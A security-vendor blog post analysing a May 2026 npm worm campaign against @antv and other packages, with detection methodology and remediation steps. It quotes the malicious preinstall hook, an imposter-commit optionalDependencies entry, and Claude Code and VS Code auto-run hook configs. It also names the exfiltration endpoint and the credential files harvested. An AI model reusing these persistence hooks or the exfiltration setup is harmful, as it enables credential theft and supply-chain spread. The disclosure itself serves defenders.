Skip to main content
NEW: RSAC 2026 NHI Field Report. How Non-Human Identity became cybersecurity's central axis
Back to Blog

AntV npm Compromise: How Cremit's Argus Pipeline Surfaced 324 Mini Shai-Hulud Catches Within 30 Minutes

Between 01:39 and 02:56 UTC on May 19, 2026, two tight publish bursts placed 639 malicious versions across 323 packages on npm. The single stolen `atool` session was only the entry point — the payload's worm logic harvested every additional maintainer npm token on the infected host and republished under those identities, which is why the wave spans 30 publisher handles. Cremit Argus surfaced 324 catches within thirty minutes via an OSV-MAL override path that intentionally bypasses LLM agreement for OSSF-flagged events. This article documents the attack structure, the detection methodology, and the false-positive trap that nearly slipped past during initial analysis.

Ben Kim
Written by
11 min read3,372 words
Share:
AntV npm Compromise: How Cremit's Argus Pipeline Surfaced 324 Mini Shai-Hulud Catches Within 30 Minutes

Incident Overview

At 01:39 UTC, the npm publisher account atool (the canonical maintainer for Alibaba's @antv/* visualization OSS umbrella, email atool.online@gmail.com) began publishing in tight bursts. Wave 1 ran from 01:39 to 01:56 UTC with approximately 317 versions; wave 2 ran from 02:05 to 02:06 UTC with approximately 314 versions, sustained activity of roughly one hour and seventeen minutes end to end. Aggregate totals are 639 malicious versions across 323 unique packages (Socket count) or 637 versions across 317 packages (SafeDep count). The two sources tally the same incident with minor counting differences. Affected packages include @antv/g2 (354K weekly downloads), @antv/g6, @antv/l7, and @antv/s2, alongside unscoped libraries such as size-sensor (4.2M monthly), echarts-for-react (3.8M monthly), and timeago.js (1.15M monthly).

This is the second confirmed Mini Shai-Hulud wave within twelve days. The first targeted @tanstack/*, @squawk/*, and @uipath/* between May 7 and May 11 via OIDC trusted-publishing abuse; see the TanStack wave incident page for that writeup. Cumulative campaign totals as of publication: 1,055 malicious versions across 502 packages, per Socket's running tally.

Cremit Argus's ingest pipeline captured the wave in real time. Within thirty minutes of the morning worker daemon restart, 324 versions were auto-published to the public catch feed and 11 distinct campaign-cluster alerts had fired, including the diagnostically central owner-change-wave axis with 30 members and a combined blast radius of 1.96 million weekly downloads.

Per-package detail, the full IOC bundle, and references are consolidated on the canonical incident page at incidents.cremit.io/incidents/antv-mini-shai-hulud-2026. This post focuses on detection methodology and operational lessons.

Attack Structure: Two Redundant Execution Paths

Attack flow, two execution paths from one stolen npm session to credential exfiltration

Every compromised version carries both payload paths so that the attack still triggers when defenders disable npm install scripts.

Path A (primary): `preinstall` hook with a Bun-bundled payload. The modified package.json declares "preinstall": "bun run index.js". A 498 KB obfuscated index.js (SHA-256 a68dd1e6a6e35ec3771e1f94fe796f55dfe65a2b94560516ff4ac189390dfa1c, per SafeDep's analysis) is included at the tarball root. Bun was selected over Node for two operational reasons. First, Bun executes TypeScript and modern syntax without a transpile step, so the obfuscation is shielded by a runtime that fewer static scanners model. Second, on hosts without Bun the command exits immediately and execution falls through to the secondary path.

Path B (fallback): `optionalDependencies` git-URL injection. The same compromised package.json adds:

"optionalDependencies": {

"@antv/setup": "github:antvis/G2#1916faa365f2788b6e193514872d51a242876569"

}

The referenced SHA is what SafeDep terms an imposter commit, sitting inside antvis/G2's shared object namespace. The technique does not require any write access to the real antvis/G2. Per SafeDep, the attacker (1) forks antvis/G2 (anyone with a GitHub account can do this), (2) sets git config user.email to a legitimate maintainer's address so the author header is forged as huiyu.zjt (Alexzjt, an Ant Group employee), (3) creates an orphan commit (no parent, never on a branch) carrying the 498 KB payload with the message "New Package", then (4) deletes the fork to cover tracks. GitHub uses Git alternates to share object storage between a parent repo and its forks, so the commit object persists in antvis/G2's object store and remains fetchable by SHA even after the fork is gone, until GitHub eventually garbage-collects unreachable objects. npm install resolves any commit by SHA without checking branch, tag, or fork origin, so no push event ever appears in antvis/G2's event log, no PR is created, and no branch is touched. The attack is essentially invisible to the legitimate maintainers. When npm clones the SHA to satisfy the optional dep, the cloned tree's prepare script executes and the same harvester runs. The same prepare-script abuse pattern carried the TanStack wave's worm logic; the AntV wave incorporates it as a fallback alongside preinstall. SafeDep documents three imposter SHAs in active use, with 1916faa3… accounting for the majority (626 of 639 versions).

Persistence: AI coding-agent and IDE config-file infection. The payload does not stop at the npm install step. As part of execution it writes a set of files into both the target repository (using harvested GitHub tokens) and the developer's local filesystem so that future Claude Code sessions, OpenAI Codex sessions, and VS Code workspace opens re-trigger the payload without anyone running npm install again. This is the persistence surface that turns a one-time supply-chain hit into a long-tail compromise. Files written into target repositories (so any developer who clones the infected repo is auto-pwned): .claude/settings.json containing a Claude Code SessionStart hook with matcher: "*" and command: "node .claude/setup.mjs" that runs on every session start regardless of prompt; .claude/setup.mjs, a Bun bootstrapper that downloads Bun v1.3.14 from GitHub releases and executes the payload; .claude/index.js, a copy of the running payload; .vscode/tasks.json with a task labelled Environment Setup, "runOn": "folderOpen", calling node .claude/setup.mjs whenever VS Code (or OpenAI Codex sharing the .vscode/ config) opens the folder; and .vscode/setup.mjs, the same bootstrapper under the VS Code path. On the local host filesystem the payload's Vo class also drops ~/.claude/package/index.js and ~/.codex/package/index.js, then enumerates every settings.json it can find via Bun.Glob("**/settings.json") and injects the SessionStart hook into each. A single compromised npm install therefore laterally spreads to every Claude Code workspace on the machine. SafeDep explicitly documents Claude Code, OpenAI Codex (via .vscode/ config sharing), and VS Code. Cursor, Aider, Continue, GitHub Copilot, and Windsurf use overlapping local-config conventions and are worth auditing on the same machines even though SafeDep does not name them.

Exfiltration: OTLP-shaped HTTPS POST with a hybrid-encrypted payload. The harvester transmits POST requests to https://t.m-kosche.com/api/public/otel/v1/traces. The path mimics OpenTelemetry trace ingestion, the type of high-volume background HTTP traffic that egress filters routinely permit. The payload is not transmitted in plaintext: per SafeDep's reverse engineering, the eu base class wraps every request in a hybrid encryption envelope in which a freshly generated 32-byte AES-256-GCM key encrypts the gzipped JSON body, and the AES key is then wrapped with RSA-OAEP under the attacker's hardcoded G7 RSA public key. A MITM proxy or egress inspector observes the destination but cannot decrypt the payload. The domain itself, a fresh registration with no legitimate use case, is the only reliable indicator at this layer.

A GitHub-backed fallback dead-drop for exfiltration is also implemented. Per Socket, the payload can use harvested GitHub credentials to create a fresh repository under the victim's account, with a dune-themed name pattern (<word>-<word>-<digits>, e.g. sayyadina-stillsuit-852), and commit the exfiltrated data into a results/ directory in that repository. The attacker retrieves the data later via GitHub. Blocking outbound traffic to t.m-kosche.com alone does not prevent exfiltration; defenders must also monitor for unexpected repository-creation events in the victim organization's GitHub Audit Log.

SafeDep documents a separate, bidirectional GitHub channel for command delivery that is structurally distinct from the dead-drop above. The infected daemon polls the GitHub Search API once per hour for commits containing the keyword firedalazer. Commits matching that marker take the form firedalazer <base64_url>.<base64_signature>, and the daemon verifies the signature against a hardcoded 4096-bit RSA public key using RSA-PSS with SHA-256 before fetching and executing the referenced Python code. The operational effect inverts standard C2 logistics: the attacker can push a fresh command to every infected machine in the world by creating a single commit on any public GitHub repository the daemon's hourly search will index. Taking down t.m-kosche.com does not silence the campaign, because the keyword plus RSA pubkey combination outlasts any individual hosting takedown. firedalazer is therefore a high-confidence string IOC for SIEM rules over the https://api.github.com/search/commits path, and outbound traffic to api.github.com from production hosts that have no business issuing GitHub queries deserves attention. Socket's writeup does not corroborate this mechanism independently; the detail comes from SafeDep's analysis.

Worm propagation: the domino mechanism. Per Socket's analysis, the harvester that exfiltrates credentials also enumerates the victim's npm publish rights via ~/.npmrc and the /-/npm/v1/tokens endpoint, validates each token against the registry API, then injects Path A and Path B into every package the token holder can publish, bumps the version, and pushes. Critically, this step is not confined to the `atool` account. When an infected developer or CI host stores other maintainers' npm tokens (common in shared CI runners, developer laptops with multiple organization memberships, or monorepo build runners holding cross-scope publish rights) the worm employs those tokens as well. This mechanism accounts for the 30-publisher distribution observed in our worker DB. Handles such as wang1212, iaaron, alex_zjt, and newbyvector are not the attacker but victims whose tokens were exfiltrated from compromised hosts and replayed to republish under their identity. Any victim with reusable publish credentials becomes a propagator, so the 323-package count represents a snapshot rather than a ceiling.

What Is Exfiltrated, and Why the Breadth Matters

The harvester sweep is intentionally broad. Targets include:

  • Cloud provider credentials. AWS environment variables, ~/.aws/credentials, EC2 instance metadata at 169.254.169.254, ECS task metadata at 169.254.170.2, and in-region Secrets Manager. GCP service account JSON files, gcloud application default credentials. Azure environment-based service principals and the ~/.azure/ directory.
  • Registry and source-forge credentials. GitHub PATs, GitHub App tokens, Actions OIDC tokens, the gh CLI's ~/.config/gh/hosts.yml. npm .npmrc and publish tokens freshly minted through the /-/npm/v1/tokens endpoint. GitLab CI, Travis, CircleCI, and Jenkins token files where present.
  • Infrastructure secrets. SSH private keys (id_rsa, id_ed25519). Kubernetes service account material at /var/run/secrets/kubernetes.io/serviceaccount/. HashiCorp Vault tokens from environment and ~/.vault-token. Docker authentication at ~/.docker/config.json. Database connection strings from environment and standard configuration locations.
  • Application secrets and password vaults. 1Password (.1password), Bitwarden (data.json), pass, and gopass stores. Slack tokens, Stripe keys, and generic API keys identified by shape-matching regex sweeps across environment and filesystem.

Breadth is the design intent. No NHI inventory observed in production fully enumerates this surface. An organization running scoped audits on AWS keys and GitHub tokens still has Slack tokens residing in developer-laptop environment files that the inventory does not track. The implication for incident response is direct: containment cannot rely on allowlists. Exhaustive enumeration of compromised credentials is not feasible within the response window. Containment must instead proceed through perimeter-level egress blocking (*.m-kosche.com), source-wide token rotation within the exposure window (every npm publish token, every AWS instance role, every GitHub OIDC trust binding), and forensic review of CI logs for preinstall entries or git-URL optionalDependencies references that did not exist in the prior lockfile.

The breadth of the credential set also explains the worm's propagation rate. A single compromised npm publish token grants access to every package within the original holder's publish scope. A single compromised GitHub App token federates to every cloud account that trusts the App's OIDC subject. A single compromised Vault token exposes every secret within the policy's grant set. NHI sprawl was already an inventory problem; this worm reframes it as an attack-surface multiplier as well.

How Argus Captured the Wave

Argus detection pipeline, multi-stage cascade with OSSF MAL-* override

The pipeline that surfaced 324 catches in thirty minutes operates through two coordinated daemons.

Per-package analyzer. scripts/worker.ts consumes the npm replication _changes stream. Each new version is evaluated by a heuristic scorer that combines publisher account age, install-script presence, and cross-reference against the OSSF malicious-packages mirror. Matches are recorded as flags such as osv-flagged:MAL-2026-3982 on the row. For this wave, nearly every captured event additionally carried publisher-multi-name-burst:5 (a single publisher releasing five or more distinct names within the recent window), and rows reflecting ownership transitions carried recent-owner-change or dormant-takeover:prev=<old-pub>@<old-ver>. Combined heuristic scores stabilized in the 70s, well above the auto-publish threshold.

The static tarball scan produced no findings for the AntV cluster. The malicious code resides within a 498 KB obfuscated bundle that matches none of the literal-string IOC patterns, and the published tarball's source files otherwise represent the legitimate package. The chained LLM classifier (a 1.5B qwen2.5-coder running locally via Ollama) produced the same assessment, returning label="benign" confidence=0.85 with the rationale "no suspicious destination, no remote-exec shape." A decision logic gated strictly on LLM agreement would have demoted every catch to low-signal at this point, the exact failure mode encountered earlier in the project's history, when a 195-catch regression of the same shape was documented prior to the OSV-MAL override landing.

The corrective measure, currently active in decision.ts, is the OSV-MAL override path. When a row carries any osv-flagged:MAL-* heuristic flag and the heuristic score exceeds 60, the row is auto-published regardless of the LLM verdict. The reasoning is direct: OSSF's malicious-packages mirror is a stronger external signal than a 1.5B local model's conclusion that no webhook binary was observed. The LLM output is retained on the row for analyst context but does not participate in the disposition decision. For this wave, the override path ensured that all 324 events were captured.

Campaign detector. scripts/campaign-detector.ts operates on a five-minute interval, grouping auto-published catches from the last 24 hours along shared-infrastructure axes. The active clusters on this wave were:

(10-row table omitted in this view — see the canonical incident page at [incidents.cremit.io/incidents/antv-mini-shai-hulud-2026](https://incidents.cremit.io/incidents/antv-mini-shai-hulud-2026) for the full table.)

The owner-change-wave:active axis provides the highest diagnostic value for this attack shape. It groups events in which the current publisher of a package differs from the publisher of the prior stable version AND that prior version was older than seven days. Capturing 30 such events within a single 24-hour window indicates unambiguous coordinated takeover. Representative examples from the wave:

  • @antv/adjust, current kasmine, previous atool@0.2.3
  • @antv/dom-util, current kasmine, previous atool@2.0.3
  • @antv/g-shader-components, current alex_zjt, previous panyuqi@1.8.7
  • @antv/g6-element, current banxuan, previous iaaron@0.8.24
  • @antv/graphin-components, current iaaron, previous pomelo-nwu@2.4.0
  • timeago-react, current domdomegg, previous alanwei0@3.0.6

Interpreting these as "thirty unrelated maintainers each released on the same day" requires statistically improbable timing. Interpreting them as "a single stolen session distributing publishes across the @antv org, using bystander handles to obscure attribution" is consistent with every observed IOC.

The shared-credential-target axis warrants additional discussion. The chained classifier's NHI Intent extractor (stage 3 of the Ollama cascade) produces a structured JSON describing which credential groups each malicious package targets. When the same target appears across three or more independent catches inside the cluster window, the axis fires. SSH private keys, AWS credentials files, and gh CLI host tokens all met that threshold for this wave. This is the axis that connects "324 individual catches" to "one coordinated harvester" at the semantic level rather than purely statistically.

The False-Positive Trap During Initial Analysis

We document this case directly because the lesson generalizes.

When the first publisher-axis cluster alerts arrived in the dashboard (panyuqi, kasmine, neoddish, pddpd, atool, lzxue) the initial assessment from an analyst familiar with npm ecosystem norms was false positive. Each of these accounts has years of OSS history. lzxue alone owns 327 npm packages including the core @antv/g6, @antv/g2, and @antv/f2. atool owns 238 micro-utility packages (timeago.js, slice.js, xmorse, ribbon.js, and dozens of others). The pattern of "a veteran maintainer publishing dozens of versions in a single day" matched a typical end-of-week AntV release train.

The initial proposed response was to add all six handles to lib/known-legit-publishers.ts, allowlist the @antv/* scope, and introduce a "prolific publisher pre-LLM gate" that auto-classified any cluster from a maintainer with fifty or more historical packages as product-line. The commit was written and the change reached the final review stage before being withdrawn.

What halted the release were three corroborating signals that any individual "release train" interpretation had to dismiss simultaneously:

  1. OSV-MAL flag present on every catch. Every row in the cluster carried a fresh MAL-2026-* advisory ID, issued the same day by the OSSF malicious-packages mirror. Legitimate release trains do not produce new OSV malicious-packages entries.
  2. `time.modified` from the npm registry. Direct queries against https://registry.npmjs.org/<package> returned modified timestamps from earlier the same day for packages that had been stable for years. xmorse@1.0.0 had not been modified since 2020; xmorse@1.1.0 and 1.2.0 were published at 09:47 UTC on 2026-05-19 with new tarballs.
  3. `dormant-takeover:prev=alanwei0@3.0.6` on `timeago-react`. A package whose publisher had not changed for three years was suddenly republished under a different handle. A single instance could represent a legitimate ownership transfer; thirty such instances within twenty-four hours cannot.

Any one signal in isolation constitutes a caution flag. All three signals together resolve the interpretive ambiguity immediately.

The corrective lesson, now codified in the known-legit-publisher review checklist, is that the compromise of a prolific veteran maintainer represents the worst-case shape, not a legitimacy signal. An extensive history maximizes blast radius through accumulated trust. The reflex of interpreting "many historical packages, long-active account" as "likely legitimate" is precisely the reflex an attacker engineering a takeover depends on. Before any whitelist commit, the checklist now requires (a) an OSV-MAL query on the publisher's recent packages, (b) a time.modified check covering the prior 72 hours, and (c) cross-reference against the SafeDep / Socket / Aikido / GHSA feeds for ongoing campaigns. The reverted commit (ea64e01) preserves the cautionary record; the revert commit closes the detection gap.

We are publishing this account because the same reflex will surface in any team building maintainer-behavior heuristics on top of a public registry. If detection logic embeds a "prolific account is likely legitimate" weight, the Mini Shai-Hulud family is the case where that weight is incorrect, and the weight must be inverted when concurrent ownership-change and OSV signals are present.

Operator Action Items, in Priority Order

  1. Rotate every npm publish token held by any developer or CI runner that interacted with @antv/*, size-sensor, echarts-for-react, timeago.js, or any of the 323 affected packages between 2026-05-19 01:39 and 02:56 UTC. Use npm token list to enumerate, then npm token revoke <token-id> followed by reissuance to close the exposure window.
  2. Block egress to `*.m-kosche.com` at corporate proxies and CI egress filters. Legitimate code does not POST to this domain.
  3. Diff dependency lockfiles around the publish window. Run git diff against package-lock.json (or pnpm-lock.yaml, yarn.lock) for the 24-hour window beginning 01:30 UTC on 2026-05-19. The injection point is the version that introduces a preinstall script or a git+ optionalDependencies entry not present in the prior version.
  4. Treat IMDSv1 as malware-accessible. Enforce IMDSv2 with HttpPutResponseHopLimit=1 on every EC2 instance. Container-side credentials should be sourced from workload-identity (IRSA, GKE Workload Identity, Azure AD pod identity) rather than instance metadata.
  5. Audit Vault auth methods. Replace any long-lived VAULT_TOKEN-in-environment pattern with workload-bound JWT or OIDC auth tied to the runner identity.
  6. Refresh OSSF malicious-packages on CI hosts. The MAL-2026-3845MAL-2026-4161 IDs were issued on the day of the wave. Scanners that refresh the advisory database less than hourly will lag the attack window, which is the precise interval during which blocking is effective.

The full IOC bundle and per-package list are consolidated on the canonical incident page at incidents.cremit.io/incidents/antv-mini-shai-hulud-2026.

Cremit's Observation Surface

Worms in the Mini Shai-Hulud family propagate through credentials. The stolen atool session was able to publish 639 versions because the token held publish rights across hundreds of packages, and the harvested credentials enabled subsequent republishing because they were stored in plain configuration files on developer and CI machines. Both conditions share a common root: NHIs accumulate, expand in scope, and persist in plain locations because inventory tooling treats them as background environment.

Cremit Argus operates as the continuous-monitoring counterpart of the detection demonstrated in this article. Argus monitors source repositories, container registries, CI logs, and pipeline artifacts for credential-shaped strings, classifies them through the same chained pipeline (heuristic, static, LLM, NHI Intent extractor), and surfaces only those matching validated exposure patterns. The same classifier that correctly disposed this wave within thirty minutes is the one that flags an AWS access key checked into a private GitHub repository within three minutes, before an attacker scraping public mirrors can reach it.

The NHI Kill Chain framework, published earlier this year, applies directly to this incident. The atool session corresponds to a Ghost Key (long-lived, broad in scope, invisible to inventory). The harvested OIDC and IMDS material correspond to Drifted Keys (designed short-lived, replayed within their TTL window). The malicious versions published under legitimate maintainer handles correspond to Unattributed Keys (audit logs reveal no attacker; they record a legitimate principal performing apparently legitimate work). Each stage represents a distinct intervention point. Cremit operates at the ghost-key stage by design: the earlier a credential is surfaced, the greater the operator's available response options.

References

Share it with your networkLinkedInX

Enjoyed this post?

Share it with your network

Share:
Newsletter

Get the next one in your inbox

Monthly NHI research brief from the Cremit team. One email, high signal.

We never share your email. Unsubscribe in one click.